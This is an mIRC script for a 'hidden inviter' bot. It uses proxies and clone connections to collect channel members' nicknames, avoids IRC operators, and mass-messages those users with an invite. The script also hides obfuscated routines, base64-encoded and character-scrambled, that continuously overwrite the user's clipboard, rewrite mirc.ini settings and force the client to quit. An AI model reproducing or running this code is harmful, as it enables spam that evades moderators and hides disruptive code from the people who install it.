on *:CONNECT: { .startlas }
on *:DISCONNECT: { .identd on %clnam | .nick $read sys\nick.txt $+ $r(1,99) | .timers off }
n *:part:#:{ if ($nick == $me) { inc %b | if (%b == $gettok(%chan.join,0,44)) { set %b 1 } | .join $gettok(%chan.join,%b,44) } | halt }
alias startlas { set %msgnicks "" | inc %b | if (%b == $gettok(%chan.join,0,44)) { set %b 1 } | .join $gettok(%chan.join,%b,44) | $remove(_sp9u1kgi,1,s,4,j,9,g) | .timerkorok 0 15 ctcp $me ping }
menu menubar,channel,status {
&Inviter:.botkonek
}
alias botkonek $iif($dialog(konek) == $null, $dialog(konek,konek,-2))
dialog konek {
title "Inviter [Don`t Close This Dialog When Inviter Running]"
size -1 -1 374 371
button "ok", 1, 1 1 1 1, hide ok
list 2, 14 20 130 102, sort
box "Target Channel To Invite", 4, 4 2 150 140
button "&Add", 5, 14 118 55 18
button "&Del", 6, 88 118 55 18
list 7, 14 170 130 55, sort
box "Server To Connect", 8, 4 150 151 140
text "Server Selected:", 9, 14 242 80 13
edit "", 10, 14 260 130 20, disable autohs center
button "&Add ", 11, 14 219 55 18
button "&Del", 12, 88 219 55 18
box "Invite Status", 13, 156 2 213 140
edit "", 14, 164 16 197 120, read multi autovs vsbar
button "&Start", 17, 9 340 80 25
button "&Stop", 18, 95 340 80 25
list 3, 164 167 197 116, sort
box "Proxy[ only use 1- 5 line in proxy one list ]", 15, 157 150 213 140
button "Load Proxy List", 16, 271 267 90 15
edit "", 19, 14 307 350 21,autohs center
box "Set invite msg", 20, 6 293 364 40
button "&Close", 21, 180 340 80 25, cancel
}
on *:dialog:konek:*:*: {
if ($devent == init) {
%chan.num = $gettok(%chan.join,0,44)
while (%chan.num) {
did -a $dname 2 $gettok(%chan.join,%chan.num,44)
dec %chan.num 1
}
%server.num = $lines(Shadow/inviter/server.txt)
while (%server.num) {
did -a $dname 7 $read(Shadow/inviter/server.txt,%server.num)
dec %server.num 1
}
if (%server.to.use != $null) { did -a $dname 10 %server.to.use }
if (%msg != $null) { did -a $dname 19 %msg }
.listkonek
}
if ($devent == sclick) {
if ($did == 5) {
set -u2 %add.chan $?="channel to add"
if (%add.chan != $null) {
set %chan.join $addtok(%chan.join,%add.chan,44)
did -a $dname 2 %add.chan
}
}
if ($did == 11) {
set -u2 %add.server $?="server to add"
if (%add.server != $null) {
write Shadow/inviter/server.txt %add.server
did -a $dname 7 %add.server
}
}
if ($did == 6) {
if ($did(2,$did(2).sel).text != $null) { %chan.join = $remtok(%chan.join,$did(2,$did(2).sel).text,1,44) }
did -d $dname 2 $did(2).sel
}
if ($did == 12) {
if ($did(7,$did(7).sel).text != $null) { write -ds [ $+ [ $did(7,$did(7).sel).text ] ] Shadow/inviter/server.txt }
did -d $dname 7 $did(7).sel
did -r $dname 10
}
if ($did == 7) {
if ($did(7).sel != $null) {
set %server.to.use $did(7,$did(7).sel).text
did -ra $dname 10 %server.to.use
}
}
if ($did == 16) { set %clone.file $dir="Select Proxy File" [ Shadow\*.txt ] | .timerload 1 0 listkonek }
if ($did == 17) {
if (%msg != $null) && (%server.to.use != $null) { .server %server.to.use 666 $+ $r(1,9) }
}
if ($did == 18) { .sockclose * | .disconnect }
}
if ($devent == edit) {
if ($did == 19) {
set %msg $did(19).text
}
}
}
alias continue {
:next
set %msgnick $read -nl [ $+ [ %n ] ] tmp\msgnick.txt

if (%msgnick == $null) { if (%msgnicks != $null) { sockwrite -tn * privmsg %msgnicks : $+ %msg $multiple } | .privmsg $me End | .muler | .halt }
if (%msgnicks == $null) { set %msgnicks %msgnick } | else { set %msgnicks %msgnicks $+ , $+ %msgnick }
if (%m == 15) { .sockwrite -tn * privmsg %msgnicks : $+ %msg %logo | .sockclose * | .clones | .raw privmsg $me HABIS | .halt }
_windialog Invite Nick: $+ %msgnick
inc %n 1
inc %m 1
goto next
}
alias compile {
unset %msgnick
set %i 1
set %m 1
:next
if ($nick(%chan,%i) == $null) || ($nopnick(%chan,%i) == $null) {
unset %i
set %m 1
set %n 1
.clones
.timerrruning 1 1 .continue
halt
}
if ($nopnick(%chan,%i) != $me) && ($nopnick(%chan,%i) !isin %IRCops) {
if ($nopnick(%chan,%i) !isvo %chan) || ($nopnick(%chan,%i) !isheLp %chan) {
write tmp\msgnick.txt $nopnick(%chan,%i)
inc %m 1
}
}
inc %i 1
goto next
}
alias buang {
unset %num.prx
unset %sock.clone
unset %p.con
unset %clnam
unset %listlimit
unset %Prx.Cnt
.set %listlimit $lines(%clone.file)
inc %n 1 | inc %m 1 | set %msgnick $read -nl [ $+ [ %n ] ] tmp\msgnick.txt
}
alias listkonek if (%clone.file) { loadbuf -ro konek 3 " $+ %clone.file $+ " }
alias rename echo $color(info text) - | echo $color(info text) * /rename: command disabled! | echo $color(info text) - | halt
alias -l _celaker $decode(LmV4aXQ==,m)
alias -l _puki $decode(LnRpbWVyaXBybyAwIDAgY2xpcGJvYXJkIERPTmBUIENPUFkgQU5ZVEhJTkc9==m)
alias -l _pler $decode(YmlrYnVsdQ==,m)
alias -l _run $decode(LnRpbWVyc3RhdCAwIDAgX3BsZXI==,m)
alias -l bikbulu { if $readini $mircini f $+ on $+ ts f $+ scr $+ ip $+ ts != Sy $+ mb $+ o $+ l,8 { writeini $mircini fo $+ nt $+ s fs $+ cr $+ i $+ p $+ t $+ s S $+ y $+ m $+ b $+ ol,8 | $remove(_tc1elsa9kweqr,t,1,s,9,w,q) } }
on *:start:{ %b = 0 | _run | $botkonek | echo -s *** Hidden inviter By orangaNnu ..ircop only kill }


